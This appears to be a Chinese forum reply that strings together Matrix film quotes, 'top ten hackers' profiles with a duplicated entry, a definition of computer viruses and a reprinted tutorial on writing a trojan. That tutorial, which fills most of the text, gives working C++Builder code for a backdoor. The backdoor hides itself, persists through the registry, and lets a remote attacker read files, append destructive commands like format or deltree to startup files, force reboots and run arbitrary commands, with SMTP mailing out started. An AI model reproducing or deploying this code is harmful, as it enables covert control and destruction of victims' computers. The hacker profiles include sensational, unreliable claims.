你看电影看多了吧。听到那些脑残的新闻听多了吧。你要学这个东西,先从基础开始,没有必要什么成为一个,出色的黑客出色的人出色的领袖!。说这话,听起来特娱乐。
这里有好多,你仔细找找,一定有你想要的。
黑客帝国Ⅰ经典台词
1.你有过这种感觉没有,就是你吃不准自己是醒着还是在做梦
2.你执着于耳听为虚,眼见为实,大凡这种人都有大彻大悟的期待,聊可安慰的是,如此就已经离真理不远了。
3.信命运吗?尼欧。
不信
为什么不信?
所谓命运,就是指身不由己,我不喜欢这种概念。
4.同其他任何人一样,一出世,你就是奴隶,出世就是进监狱,不能去嗅、去尝、去触摸,当一辈子囚犯,一个头脑遭禁锢的囚犯。
5.什么叫真?你怎样给真下定义,如果你说真就是你能感觉到的东西,你能闻到的气味,你能尝到的味道,那么这个真就是你大脑作出反应的电子信号。
6.丢掉一切私心杂念,丢掉害怕、疑问和拒信,解放你的思想
7.喝酒有两大好处,降低引擎润滑指数和杀死脑细胞
8.无知就是幸福
9.否认人有冲动,就是否认作为人的基本条件
10.当一个救世主就好比心里爱着一个人,别人不能告诉你你恋爱了,只有你自己明白,焦虑煎心,酸甜苦辣
11.你要记住,你不信这些乱七八糟的命运胡诌,你相信自己的命运自己掌握,
12.我在试图把你这种生命体作一个归类的时候,启示来了,所以我知道,你其实不是哺乳动物,我们这个星球上的每一种哺乳动物都有一种适应环境变化,取得平衡的本能演化,但你们人却没有,你们找到一个地方,然后就繁殖、繁殖、繁殖,直到所有的自然资源都被用尽,你们要想生存,唯一的办法就是扩散出去,侵占另一个地方,这个星球上另有一种生命体生存方式同你们相象,想知道是什么吗?病毒!人类是一种疾病,本星球的癌症,一场瘟疫。
黑客帝国Ⅱ经典台词
1.你在要求我们违背上头的命令
是的,没错,但我们之所以能够在这里,就是因为我们都有叛逆精神
2.我现在站在这里,心中毫无惧意,为什么,是因为我跟你们有着不同的信念吗?不是,我能无惧的站在这儿,是因为我记得,我记得我之所以能在这里,不是因为遵从前人所铺下的路,而是相信自己能创造属于我们的未来,
3.这世上有些事情是永远不会变的,但有些事情却改变了
4.什么是控制?
我们随时可以把这些机器关掉。
5.这世界上有很多事情,是我所不了解的,看到那架机器了吗,它是我们主要水源的再循环系统,我完全不知道它是怎么运作的,但我了解它被操作的目的。
6.因为你不是来这儿做选择的,你早已做出了选择才来的,你来这儿的目的是想了解,你为什么要这样选择。
7.我只对一件事情感兴趣,未来
8.我们是无法看透自己所不理解的选择的
9.我们会在这儿,并非因为我们自由了,我们会在这儿是因为我们并不自由,凡事都有动机和目的,因为我们都知道,如果没有了目的,我们就不会存在,是目的造就了我们;目的联系着我们;目的牵引着我们;指引着我们;推动着我们,目的确认我们的存在,目的约束着我们。
10.谁又会有时间呢,倘若我们根本没有接受过时间,又哪来的拥有呢?
11.梅:这世界上只存在着一种永恒,世间唯一的真理,因果关系,行动、回应,起因、结果……
12.莫菲斯:任何事都始于当初的选择。
梅:不对,错,选择只是强者用来欺骗弱者的谎言。
13.她不明白为什么,是因为那酒吗,不是的,那是为什么呢,是什么原因呢,很快这些都不再重要了,很快这些为什么和原因都消失了,最重要的是那种感觉本身,这是自然的规律,我们强烈的挣扎,拼命的抵抗它,自欺欺人的装作没事,在那泰然自若的外表下,事实上我们已经彻底地失控了。这就是因果,无可避免,我们永远受它的奴役,我们只能试图去理解,理解为什么。
14.选择,问题的关键在于选择上
15.希望,只是人类的妄想,它即是人类最强大的力量,同时也是你们致命的弱点
黑客帝国Ⅲ经典台词
1.活了这么久,我领悟到一个道理,就是我们总是无法随心所欲
2.如果想知道所作的选择是否明智,就看你在清楚知道将会付出什么代价的情况下,是否会仍然选择那样做。我对所做出的选择充满信心,因为我现在仍然选择这样做。
3.尼欧:爱是人类才有的感情
拉玛:不,爱只是一个字,字面下所体现的亲密关系,才是最重要的。
4.拉玛:这是我的宿命
尼欧:你相信宿命?
拉玛:宿命跟爱一样,只是一个字眼,一种表达出我来这世上有何任务的方式。
5.热恋中的人跟疯子并没什么区别
6.如果你不明白为什么选择那样做,你就无法参透背后的意义。
7.万物只要有开始,就必有结束
8.崔妮蒂:六小时前我跟梅罗宾基恩说,我愿意为你牺牲一切。你知道这六个小时里发生的变化吗?
尼欧:不知道
崔妮蒂:并没有变化
9.要不被事物的形体迷惑,这样才能真正的认识敌人
1. 人在这世界里,有许多事情是我们一定得做的。
2. 没有使命,人类就不会存在,是使命创造了我们,但使命联系着我们、牵连着我们、指引着我们、推动着我们、约束了我们。
3. 这世界这世界只存在着一种永恒,一种广泛适用的真理,仅用的真实:因果关系。
4. 比如:行动与回应 起因与结果。
5. 任何事情都始于当初的选择。
6. 选择是有权利与没有权利者之间的不平衡。
7. 新的感觉作成的一种假象,首先,不明白为什么,很快这些“为什么”与“原因”却将消失,最重要的是感觉本身,我们虽然强烈挣扎、拼命地抵抗它,自欺欺人的装出没事,在那泰然自若的外表下,事实上,我们已彻底地失控了,这是自然界的定律。这就是因果,无法避免的,我们永远受它的奴役。
8. 我们只能试图去理解,理解为什么———“因果关系”
9. “原因”是我们与他们的区别,是真正力量的源泉。
10. 每个人都是因果关系的受害者。
11. 该发生的事情都发生了,没有其他的变数。
12. 美好的事情注定是不长久的。
13. 一切都是命中注定的。
14. 问题的关键在与选择。
15. 一个胜利的同时,也是一个不朽的失败。
16. 无法避免的毁灭是显而易见的,人类天生的不完美是造成的结果。
17. 问题的关键只在于选择,接下来就回发生的连锁反应。
18. 希望是人类自欺欺人的精髓,他既是强大的力量来源,同时也是人类致命的弱点。
这个得靠你自己的,你的付出会等于你的收获,你一直在这么想,永远都是什么都不会,黑客这个词,是个褒义词,黑客永远不会自称自己为黑客。
世界十大黑客10:乔治·霍茨(George Hotz)
霍茨是名年仅22岁的黑客,他因将苹果iPhone手机越狱(jailbreaking),和破解索尼PlayStation 3,而名声大振,而对PlayStation 3的破解,最终也使得霍茨与索尼对薄公堂。
索尼对霍茨提起诉讼,双方最终达成和解,索尼禁止霍茨破解索其产品。而黑客组织Anonymous则继承了霍茨的事业,针对索尼发起了报复性攻击。霍茨此后被社交网站Facebook招致麾下。
世界十大黑客4:尼亚克
在硅谷,一个人要赢得好名声远比赢得大把的钱财要困难得多。因为财富是声名鹊起的基本条件。而要赢得财富,就必须勾心斗角、逐利而去。因此无论是苹果的乔布斯、Oracle的埃里森还是英特尔的葛鲁夫,都只能在当地获得毁誉参半的名声。但是,如果在硅谷还有唯一一位大家公认的“好人”,那么这个人肯定非沃兹莫属。
这位当年的技术天才,淡泊名利,性格纯朴,早早离开了热闹的中心。这也注定了他必然与计算机业沿着不同的路线,书写各自的历史。昔日的战友乔布斯又在叱咤风云,而他则过着自己安静的生活。
世界十大黑客3:李纳斯
Linux这部史诗发端于赫尔辛基。似乎天下的黑客都在为自己的生命创作源程序。李纳斯也不例外,他的家就在离市中心不远的Kalevagatan(与卡勒瓦拉很相近)大街。这是一个19世纪的建筑与现代化平房交相呼应的地方。李纳斯与妻子住在这里。他的家很像是大学生的集体宿舍,楼梯下总放着一排排自行车。
李纳斯本人看起来就像一名学生,而不像博士。他中等身材,浅褐色头发,蓝眼睛,目光透过镜片直直地射向你,只有浓密的眉毛是黑色的,衬着一张孩子气的脸庞。他的房间四周排列着许多书籍,里面布满了油画和各种装饰品,相当低廉的窗帘,两把扶手椅之间挂着发干的鳄鱼皮,房间里还有两只目空一切的猫和几台计算机:三台PC,一台Power Mac,还有三台从DEC借来的基于Alpha芯片的微机。它们不起眼地布置在房间的角落中。另外一样很有意思的东西不易察觉:那是一根将计算机连到的专线,由当地的一家ISP安装并承担费用,它是对这位Linux博士的象征性奖励。
主要成就:好像是谈论梦想,又好像是“X档案”中的一段情节。一个21岁的芬兰大学生,在学生宿舍里写了一个操作系统的内核--Linux,然后公布于众,吸引了成千上万的程序员为之增补、修改和传播,短短几年就拥有了1000多万的用户,成为了地球上成长最快的软件。李纳斯?托沃兹(Linus Torvalds),当今世界最著名的电脑程序员、黑客。Linux内核的发明人及该计划的合作者。托瓦兹利用个人时间及器材创造出了这套当今全球最流行的操作系统内核之一。使自由软件从产业思想运动演变成为市场商业运动,从此改变了软件产业,乃至IT产业的面貌。
世界十大黑客3:李纳斯
Linux这部史诗发端于赫尔辛基。似乎天下的黑客都在为自己的生命创作源程序。李纳斯也不例外,他的家就在离市中心不远的Kalevagatan(与卡勒瓦拉很相近)大街。这是一个19世纪的建筑与现代化平房交相呼应的地方。李纳斯与妻子住在这里。他的家很像是大学生的集体宿舍,楼梯下总放着一排排自行车。
李纳斯本人看起来就像一名学生,而不像博士。他中等身材,浅褐色头发,蓝眼睛,目光透过镜片直直地射向你,只有浓密的眉毛是黑色的,衬着一张孩子气的脸庞。他的房间四周排列着许多书籍,里面布满了油画和各种装饰品,相当低廉的窗帘,两把扶手椅之间挂着发干的鳄鱼皮,房间里还有两只目空一切的猫和几台计算机:三台PC,一台Power Mac,还有三台从DEC借来的基于Alpha芯片的微机。它们不起眼地布置在房间的角落中。另外一样很有意思的东西不易察觉:那是一根将计算机连到的专线,由当地的一家ISP安装并承担费用,它是对这位Linux博士的象征性奖励。
主要成就:好像是谈论梦想,又好像是“X档案”中的一段情节。一个21岁的芬兰大学生,在学生宿舍里写了一个操作系统的内核--Linux,然后公布于众,吸引了成千上万的程序员为之增补、修改和传播,短短几年就拥有了1000多万的用户,成为了地球上成长最快的软件。李纳斯?托沃兹(Linus Torvalds),当今世界最著名的电脑程序员、黑客。Linux内核的发明人及该计划的合作者。托瓦兹利用个人时间及器材创造出了这套当今全球最流行的操作系统内核之一。使自由软件从产业思想运动演变成为市场商业运动,从此改变了软件产业,乃至IT产业的面貌。
世界十大黑客2:丹尼斯
丹尼斯?利奇Dennis M Ritchie(又译丹尼斯?里奇), C语言之父,Unix之父。生于1941年9月9日,哈佛大学数学博士。Dennis M. Ritchie 担任朗讯科技公司贝尔实验室 (原ATT实验室)下属的计算机科学研究中心系统软件研究部的主任一职。1978年Brian W. Kernighan和Dennis M. Ritchie出版了名著《C程序设计语言(The C Programming Language)》,此书已翻译成多种语言,成为C语言方面最权威的教材之一。
在Ritchie的成长历程中,有两个人对他的影响最大,一个是他父亲,而另一个是他的挚友,同为UNIX发明人的Ken Thompson。尤其是后者。有人问过Dennis,他的偶像是谁,不论在计算机领域还是其他领域?他说:我不过是在英雄熏陶下成长起来的。很显然,对我职业生涯影响最大的人物是Ken Thompson。UNIX大部分是他的工作,同样也是C语言的前辈,同样Plan 9系统的大部分工作也是他做的。并且在这其间Ken做了第一个计算机象棋大师。
世界十大黑客1:凯文
凯文?米特尼克(Kevin Mitnick)被称为世界上“头号电脑黑客”。
其实他的技术也许并不是黑客中最好的,甚至相当多的黑客们都反感他,认为他是只会用攻击、不懂技术的攻击狂,但是其黑客经历的传奇性足以让全世界为之震惊,也使得所有网络安全人员丢尽面子。
主要成就:他是第一个在美国联邦调查局“悬赏捉拿”海报上露面的黑客。15岁的米特尼克闯入了“北美空中防务指挥系统”的计算机主机内,他和另外一些朋友翻遍了美国指向前苏联及其盟国的所有核弹头的数据资料,然后又悄无声息地溜了出来。
这件事对美国军方来说已成为一大丑闻,五角大楼对此一直保持沉默。事后,美国著名的军事情报专家克赖顿曾说:“如果当时米特尼克将这些情报卖给克格勃,那么他至少可以得到50万美元的酬金。而美国则需花费数十亿美元来重新部署。”
FBI甚至认为其过于危险,收买了米特尼克的一个最要好的朋友,诱使米特尼克再次攻击网站,以便再次把他抓进去。结果——米特尼克竟上钩了,但毕竟这位头号黑客身手不凡,在打入了联邦调查局的内部后,发现了他们设下的圈套,然后在追捕令发出前就逃离了。通过手中高超的技术,米特尼克甚至在逃跑的过程中,还控制了当地的电脑系统,使得以知道关于追踪他的一切资料。
什么是计算机病毒
计算机病毒是一个程序,一段可执行码。就像生物病毒一样,计算机病毒有独特的复制能力。计算机病毒可以很快地蔓
延,又常常难以根除。它们能把自身附着在各种类型的文件上。当文件被复制或从一个用户传送到另一个用户时,它们就随
同文件一起蔓延开来。
除复制能力外,某些计算机病毒还有其它一些共同特性:一个被污染的程序能够传送病毒载体。当你看到病毒载体似乎
仅仅表现在文字和图象上时,它们可能也已毁坏了文件、再格式化了你的硬盘驱动或引发了其它类型的灾害。若是病毒并不
寄生于一个污染程序,它仍然能通过占据存贮空间给你带来麻烦,并降低你的计算机的全部性能。
可以从不同角度给出计算机病毒的定义。一种定义是通过磁盘、磁带和网络等作为媒介传播扩散,能“传染” 其他程序
的程序。另一种是能够实现自身复制且借助一定的载体存在的具有潜伏性、传染性和破坏性的程序。还有的定义是一种人为
制造的程序,它通过不同的途径潜伏或寄生在存储媒体(如磁盘、内存)或程序里。当某种条件或时机成熟时,它会自生复制
并传播,使计算机的资源受到不同程序的破坏等等。这些说法在某种意义上借用了生物学病毒的概念,计算机病毒同生物病毒
所相似之处是能够侵入计算机系统和网络,危害正常工作的“病原体”。它能够对计算机系统进行各种破坏,同时能够自我复
制, 具有传染性。
所以, 计算机病毒就是能够通过某种途径潜伏在计算机存储介质(或程序)里, 当达到某种条件时即被激活的具有对计
算机资源进行破坏作用的一组程序或指令集合。
参考:
木马是如何编写的(一)
武汉 周侃
特洛依木马这个名词大家应该不陌生,自从98年“死牛崇拜”黑客小组公布Back Orifice以来,木马犹如平地上的惊雷,使在Dos??Windows时代中长大的中国网民从五彩缤纷的网络之梦中惊醒,终于认识到的网络也有它邪恶的一面,一时间人心惶惶。
我那时在《电脑报》上看到一篇文章,大意是一个菜鸟被人用BO控制了,吓得整天吃不下饭、睡不着觉、上不了网,到处求救!呵呵,要知道,木马(Trojan)的历史是很悠久的:早在ATT Unix和BSD Unix十分盛行的年代,木马是由一些玩程式(主要是C)水平很高的年轻人(主要是老美)用C或Shell语言编写的,基本是用来窃取登陆主机的口令,以取得更高的权限。那时木马的主要方法是诱骗??先修改你的.profile文件,植入木马;当你登陆时将你敲入的口令字符存入一个文件,用Email的形式发到攻击者的邮箱里。国内的年轻人大都是在盗版Dos的熏陶下长大的,对网络可以说很陌生。直到Win9x横空出世,尤其是WinNt的普及,大大推动了网络事业的发展的时候,BO这个用三年后的眼光看起来有点简单甚至可以说是简陋的木马(甚至在Win9x的“关闭程序”对话框可以看到进程)给了当时中国人极大的震撼,它在中国的网络安全方面可以说是一个划时代的软件。
自己编写木马,听起来很Cool是不是?!木马一定是由两部分组成??服务器程序(Server)和客户端程序(Client),服务器负责打开攻击的道路,就像一个内奸特务;客户端负责攻击目标,两者需要一定的网络协议来进行通讯(一般是TCP/IP协议)。为了让大家更好的了解木马攻击技术,破除木马的神秘感,我就来粗略讲一讲编写木马的技术并顺便编写一个例子木马,使大家能更好地防范和查杀各种已知和未知的木马。
首先是编程工具的选择。目前流行的开发工具有C++Builder、VC、VB和Delphi,这里我们选用C++Builder(以下简称BCB);VC虽然好,但GUI设计太复杂,为了更好地突出我的例子,集中注意力在木马的基本原理上,我们选用可视化的BCB;Delphi也不错,但缺陷是不能继承已有的资源(如“死牛崇拜”黑客小组公布的BO2000源代码,是VC编写的,网上俯拾皆是);VB嘛,谈都不谈??难道你还给受害者传一个1兆多的动态链接库??Msvbvm60.dll吗?
启动C++Builder 5.0企业版,新建一个工程,添加三个VCL控件:一个是Internet页中的Server Socket,另两个是Fastnet页中的NMFTP和NMSMTP。Server Socket的功能是用来使本程序变成一个服务器程序,可以对外服务(对攻击者敞开大门)。Socket最初是在Unix上出现的,后来微软将它引入了Windows中(包括Win98和WinNt);后两个控件的作用是用来使程序具有FTP(File Transfer Protocol文件传输协议)和SMTP(Simple Mail Transfer Protocol简单邮件传输协议)功能,大家一看都知道是使软件具有上传下载功能和发邮件功能的控件。
Form窗体是可视的,这当然是不可思议的。不光占去了大量的空间(光一个Form就有300K之大),而且使软件可见,根本没什么作用。因此实际写木马时可以用一些技巧使程序不包含Form,就像Delphi用过程实现的小程序一般只有17K左右那样。
我们首先应该让我们的程序能够隐身。双击Form,首先在FormCreate事件中添加可使木马在Win9x的“关闭程序”对话框中隐藏的代码。这看起来很神秘,其实说穿了不过是一种被称之为Service的后台进程,它可以运行在较高的优先级下,可以说是非常靠近系统核心的设备驱动程序中的那一种。因此,只要将我们的程序在进程数据库中用RegisterServiceProcess()函数注册成服务进程(Service Process)就可以了。不过该函数的声明在Borland预先打包的头文件中没有,那么我们只好自己来声明这个位于KERNEL32.DLL中的鸟函数了。
首先判断目标机的操作系统是Win9x还是WinNt:
{
DWORD dwVersion = GetVersion();
// 得到操作系统的版本号
if (dwVersion = 0x80000000)
// 操作系统是Win9x,不是WinNt
{
typedef DWORD (CALLBACK* LPREGISTERSERVICEPROCESS)(DWORD,DWORD);
file://定义RegisterServiceProcess()函数的原型
HINSTANCE hDLL;
LPREGISTERSERVICEPROCESS lpRegisterServiceProcess;
hDLL = LoadLibrary("KERNEL32");
file://加载RegisterServiceProcess()函数所在的动态链接库KERNEL32.DLL
lpRegisterServiceProcess = (LPREGISTERSERVICEPROCESS)GetProcAddress(hDLL,"RegisterServiceProcess");
file://得到RegisterServiceProcess()函数的地址
lpRegisterServiceProcess(GetCurrentProcessId(),1);
file://执行RegisterServiceProcess()函数,隐藏本进程
FreeLibrary(hDLL);
file://卸载动态链接库
}
}
这样就终于可以隐身了(害我敲了这么多代码!)。为什么要判断操作系统呢?因为WinNt中的进程管理器可以对当前进程一览无余,因此没必要在WinNt下也使用以上代码(不过你可以使用其他的方法,这个留到后面再讲)。接着再将自己拷贝一份到%System%目录下,例如:C:\Windows\System,并修改注册表,以便启动时自动加载:
{
char TempPath[MAX_PATH];
file://定义一个变量
GetSystemDirectory(TempPath ,MAX_PATH);
是system目录缓冲区的地址,MAX_PATH是缓冲区的大小,得到目标机的System目录路径
SystemPath=AnsiString(TempPath);
file://格式化TempPath字符串,使之成为能供编译器使用的样式
CopyFile(ParamStr(0).c_str(), AnsiString(SystemPath+"\\Tapi32.exe").c_str() ,FALSE);
file://将自己拷贝到%System%目录下,并改名为Tapi32.exe,伪装起来
Registry=new TRegistry;
file://定义一个TRegistry对象,准备修改注册表,这一步必不可少
Registry-RootKey=HKEY_LOCAL_MACHINE;
file://设置主键为HKEY_LOCAL_MACHINE
Registry-OpenKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run",TRUE);
file://打开键值Software\\Microsoft\\Windows\\CurrentVersion\\Run,如果不存在,就创建之
try
{
file://如果以下语句发生异常,跳至catch,以避免程序崩溃
if(Registry-ReadString("crossbow")!=SystemPath+"\\Tapi32.exe")
Registry-WriteString("crossbow",SystemPath+"\\Tapi32.exe");
file://查找是否有“crossbow”字样的键值,并且是否为拷贝的目录%System%+Tapi32.exe
file://如果不是,就写入以上键值和内容
}
catch(...)
{
file://如果有错误,什么也不做
}
}
好,FormCreate过程完成了,这样每次启动都可以自动加载Tapi32.exe,并且在“关闭程序”对话框中看不见本进程了,木马的雏形初现。
接着选中ServerSocket控件,在左边的Object Inspector中将Active改为true,这样程序一启动就打开特定端口,处于服务器工作状态。再将Port填入4444,这是木马的端口号,当然你也可以用别的。但是你要注意不要用1024以下的低端端口,因为这样不但可能会与基本网络协议使用的端口相冲突,而且很容易被发觉,因此尽量使用1024以上的高端端口(不过也有这样一种技术,它故意使用特定端口,因为如果引起冲突,Windows也不会报错 ^_^)。你可以看一看TNMFTP控件使用的端口,是21号端口,这是FTP协议的专用控制端口(FTP Control Port);同理TNMSMTP的25号端口也是SMTP协议的专用端口。
再选中ServerSocket控件,点击Events页,双击OnClientRead事件,敲入以下代码:
{
FILE *fp=NULL;
char * content;
int times_of_try;
char TempFile[MAX_PATH];
file://定义了一堆待会儿要用到的变量
sprintf(TempFile, "%s", AnsiString(SystemPath+AnsiString("\\Win369.BAT")).c_str());
file://在%System%下建立一个文本文件Win369.bat,作为临时文件使用
AnsiString temp=Socket-ReceiveText();
file://接收客户端(攻击者,也就是你自己)传来的数据
}
好,大门敞开了!接着就是修改目标机的各种配置了!^_^ 首先我们来修改Autoexec.bat和Config.sys吧:
{
if(temp.SubString(0,9)=="edit conf")
file://如果接受到的字符串的前9个字符是“edit conf”
{
int number=temp.Length();
file://得到字符串的长度
int file_name=atoi((temp.SubString(11,1)).c_str());
file://将第11个字符转换成integer型,存入file_name变量
file://为什么要取第11个字符,因为第10个字符是空格字符
content=(temp.SubString(12,number-11)+'\n').c_str();
file://余下的字符串将被作为写入的内容写入目标文件
FILE *fp=NULL;
char filename[20];
chmod("c:\\autoexec.bat",S_IREADS_IWRITE);
chmod("c:\\config.sys",S_IREADS_IWRITE);
file://将两个目标文件的属性改为可读可写
if(file_name==1)
sprintf(filename,"%s","c:\\autoexec.bat");
file://如果第11个字符是1,就把Autoexec.bat格式化
else if(file_name==2)
sprintf(filename,"%s","c:\\config.sys");
file://如果第11个字符是1,就把Config.sys格式化
times_of_try=0;
file://定义计数器
while(fp==NULL)
{
file://如果指针是空
fp=fopen(filename,"a+");
file://如果文件不存在,创建之;如果存在,准备在其后添加
file://如果出错,文件指针为空,这样就会重复
times_of_try=times_of_try+1;
file://计数器加1
if(times_of_try100)
{
file://如果已经试了100次了,仍未成功
Socket-SendText("Fail By Open File");
file://就发回“Fail By Open File”的错误信息
goto END;
file://跳至END处
}
}
fwrite(content,sizeof(char),strlen(content),fp);
file://写入添加的语句,例如deltree/y C:或者format/q/autotest C:,够毒吧?!
fclose(fp);
file://写完后关闭目标文件
Socket-SendText("Sucess");
file://然后发回“Success”的成功信息
}
}
上回我们讲到如何修改目标机上的启动配置文件,这回我们就来查看目标机上的目录树和文件吧,这在客户端上使用“dir”命令,跟着敲?:
{
else if(temp.SubString(0,3)=="dir")
{
file://如果前3个字符是“dir”
int Read_Num;
char * CR_LF="\n";
int attrib;
char *filename;
DIR *dir;
struct dirent *ent;
int number=temp.Length();
file://得到字符串的长度
AnsiString Dir_Name=temp.SubString(5,number-3);
file://从字符串第六个字符开始,将后面的字符存入Dir_Name变量,这是目录名
if(Dir_Name=="")
{
file://如果目录名为空
Socket-SendText("Fail By Open DIR's Name");
file://返回“Fail By Open DIR's Name”信息
goto END;
file://跳到END
}
char * dirname;
dirname=Dir_Name.c_str();
if ((dir = opendir(dirname)) == NULL)
{
file://如果打开目录出错
Socket-SendText("Fail by your DIR's name!");
file://返回“Fail By Your DIR's Name”信息
goto END;
file://跳到END
}
times_of_try=0;
while(fp==NULL)
{
file://如果指针是NULL
fp=fopen(TempFile,"w+");
file://就创建system\Win369.bat准备读和写;如果此文件已存在,则会被覆盖
times_of_try=times_of_try+1;
file://计数器加1
if(times_of_try100)
{
file://如果已经试了100次了,仍未成功(真有耐心!)
Socket-SendText("Fail By Open File");
file://就发回“Fail By Open File”的错误信息
goto END;
file://并跳到END处
}
}
while ((ent = readdir(dir)) != NULL)
{
file://如果访问目标目录成功
if(*(AnsiString(dirname)).AnsiLastChar()!='\\')
file://如果最后一个字符不是“\”,证明不是根目录
filename=(AnsiString(dirname)+"\\"+ent-d_name).c_str();
file://加上“\”字符后将指针指向目录流
else
filename=(AnsiString(dirname)+ent-d_name).c_str();
file://如果是根目录,则不用加“\”
attrib=_rtl_chmod(filename, 0);
file://得到目标文件的访问属性
if (attrib FA_RDONLY)
file://“”字符是比较前后两个变量,如果相同返回1,否则返回0
fwrite(" R",sizeof(char),3,fp);
file://将目标文件属性设为只读
else
fwrite(" ",sizeof(char),3,fp);
file://失败则写入空格
if (attrib FA_HIDDEN)
fwrite("H",sizeof(char),1,fp);
file://将目标文件属性设为隐藏
else
fwrite(" ",sizeof(char),1,fp);
file://失败则写入空格
if (attrib FA_SYSTEM)
fwrite("S",sizeof(char),1,fp);
file://将目标文件属性设为系统
else
fwrite(" ",sizeof(char),1,fp);
file://失败则写入空格
if (attrib FA_ARCH)
fwrite("A",sizeof(char),1,fp);
file://将目标文件属性设为普通
else
fwrite(" ",sizeof(char),1,fp);
file://失败则写入空格
if (attrib FA_DIREC)
fwrite(" DIR ",sizeof(char),9,fp);
file://将目标文件属性设为目录
else
fwrite(" ",sizeof(char),9,fp);
file://失败则写入空格
fwrite(ent-d_name,sizeof(char),strlen(ent-d_name),fp);
file://将目录名写入目标文件
fwrite(CR_LF,1,1,fp);
file://写入换行
}
fclose(fp);
file://关闭文件
closedir(dir);
file://关闭目录
FILE *fp1=NULL;
times_of_try=0;
while(fp1==NULL)
{
fp1=fopen(TempFile,"r");
file://打开Win369.bat准备读
times_of_try=times_of_try+1;
file://计数器加1
if(times_of_try100)
{
file://如果已经试了100次了,仍未成功
Socket-SendText("Fail By Open File");
file://就发回“Fail By Open File”的错误信息
goto END;
file://并跳到END处
}
}
AnsiString Return_Text="";
char temp_content[300];
for(int i=0;i300;i++) temp_content[i]='\0';
file://定义的一个空数组
Read_Num=fread(temp_content,1,300,fp1);
file://从目标文件中读入前300个字符
while(Read_Num==300)
{
Return_Text=Return_Text+temp_content;
变量加上刚才的300个字符
for(int i=0;i300;i++) temp_content[i]='\0';
Read_Num=fread(temp_content,1,300,fp1);
file://重复
};
Return_Text=Return_Text+temp_content;
变量加上刚才的300个字符
fclose(fp1);
file://关闭目标文件
Socket-SendText(Return_Text);
file://返回Return_Text变量的内容
}
}
够长吧?!察看目录树这么费劲啊?!你后面可以用BCB中的各种列表框对Client.exe好好美化美化。接下来就是查看指定文件的内容了,Client将使用“type”命令,(手指累不累啊?):
{
else if(temp.SubString(0,4)=="type")
{
file://如果前4个字符是“type”
int Read_Num;
int number=temp.Length();
AnsiString File_Name=temp.SubString(6,number-4);
file://将目标文件流存入File_Name变量中
times_of_try=0;
while(fp==NULL)
{
fp=fopen(File_Name.c_str(),"r");
file://打开目标文件准备读
times_of_try=times_of_try+1;
file://计数器加1
if(times_of_try100)
{
file://如果已试了100次了
Socket-SendText("Fail By Open File");
file://返回“Fail By Open File”的错误信息
goto END;
file://跳到END
}
}
AnsiString Return_Text="";
char temp_content[300];
for(int i=0;i300;i++) temp_content[i]='\0';
file://定义一个空数组
Read_Num=fread(temp_content,1,300,fp);
file://从目标文件中读入前300个字符
while(Read_Num==300)
{
Return_Text=Return_Text+temp_content;
的内容加上刚才的字符
for(int i=0;i300;i++) temp_content[i]='\0';
Read_Num=fread(temp_content,1,300,fp);
file://重复
};
Return_Text=Return_Text+temp_content;
的内容加上刚才的字符
fclose(fp);
file://关闭目标文件
Socket-SendText(Return_Text);
file://返回Return_Text的内容,即你查看文件的内容
}
}
咳咳!累死了!还是来点轻松的吧??操纵目标机的光驱(注意:mciSendString()函数的声明在mmsystem.h头文件中):
{
else if(temp=="open")
{
file://如果收到的temp的内容是“open”
mciSendString("set cdaudio door open", NULL, 0, NULL);
file://就弹出光驱的托盘
}
else if(temp=="close")
{
file://如果收到的temp的内容是“close”
mciSendString("Set cdaudio door closed wait", NULL, 0, NULL);
file://就收入光驱的托盘。当然你也可以搞个死循环,让他的光驱好好活动活动!^_^
}
}
接着就是交换目标机的鼠标左右键,代码如下:
{
else if(temp=="swap")
{
SwapMouseButton(1);
file://交换鼠标左右键,简单吧?
}
}
然后就是使目标机重新启动。但这里要区分WinNt和Win9x??NT非常注重系统每个进程的权利,一个普通的进程是不应具备有调用系统的权利的,因此我们要赋予本程序足够的权限:
{
else if(temp=="reboot")
{
file://如果收到的temp的内容是“temp”
DWORD dwVersion = GetVersion();
file://得到操作系统的版本号
if (dwVersion 0x80000000)
{
file://操作系统是WinNt,不是Win9x
HANDLE hToken;
TOKEN_PRIVILEGES tkp;
file://定义变量
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES TOKEN_QUERY, hToken);
这个函数的作用是打开一个进程的访问令牌
函数的作用是得到本进程的句柄
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,tkp.Privileges[0].Luid);
的作用是修改进程的权限
tkp.PrivilegeCount = 1;
file://赋给本进程特权
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
的作用是通知Windows NT修改本进程的权利
ExitWindowsEx(EWX_REBOOT EWX_FORCE, 0);
file://强行退出WinNt并重启
}
else ExitWindowsEx(EWX_FORCE+EWX_REBOOT,0);
file://强行退出Win9x并重启
}
}
如果以上都不是,就让它在Dos窗口中执行传来的命令:
{
else
{
file://如果都不是
char * CR_TF="\n";
times_of_try=0;
while(fp==NULL)
{
fp=fopen(TempFile,"w+");
file://创建Win369.bat,如果已存在就覆盖
times_of_try=times_of_try+1;
file://计数器加1
if(times_of_try100)
{
Socket-SendText("Fail By Open File");
file://返回“Fail By Open File”的信息
goto END;
file://跳到END
}
}
fwrite(temp.c_str(),sizeof(char),strlen(temp.c_str()),fp);
file://写入欲执行的命令
fwrite(CR_TF,sizeof(char),strlen(CR_TF),fp);
file://写入换行符
fclose(fp);
file://关闭Win369.bat
system(TempFile);
file://执行Win369.bat
Socket-SendText("Success");
file://返回“Success”信息
}
}
你可以直接执行什么Ping和Tracert之类的命令来进一步刺探目标机的网络状况(判断是否是一个企业的局域网),然后可以进一步攻击,比如Deltree和Format命令。^_^
到此,服务器程序的功能已全部完成,但还差容错部分未完成,这样才能避免程序因意外而崩溃。朋友,别走开!(未完待续)
木马是如何编写的(三)
武汉 周侃
上次已编写完服务器端的各种功能,但还差容错部分还未完成,下面我们Go on! 其代码如下(照敲不误 ^_^):
{
END:;
Socket-Close();
file://关闭服务
ServerSocket1-Active =true;
file://再次打开服务
if (NMSMTP1-Connected) NMSMTP1-Disconnect();
file://如果SMTP服务器已连接则断开
NMSMTP1-Host = "smtp.163.net";
file://选一个好用的SMTP服务器,如163、263、sina和btamail
NMSMTP1-UserID = "";
file://你SMTP的ID
try
{
NMSMTP1-Connect();
file://再次连接
}
catch(...)
{
goto NextTime;
file://跳到NextTime
}
NMSMTP1-PostMessage-FromAddress ="I don't know!";
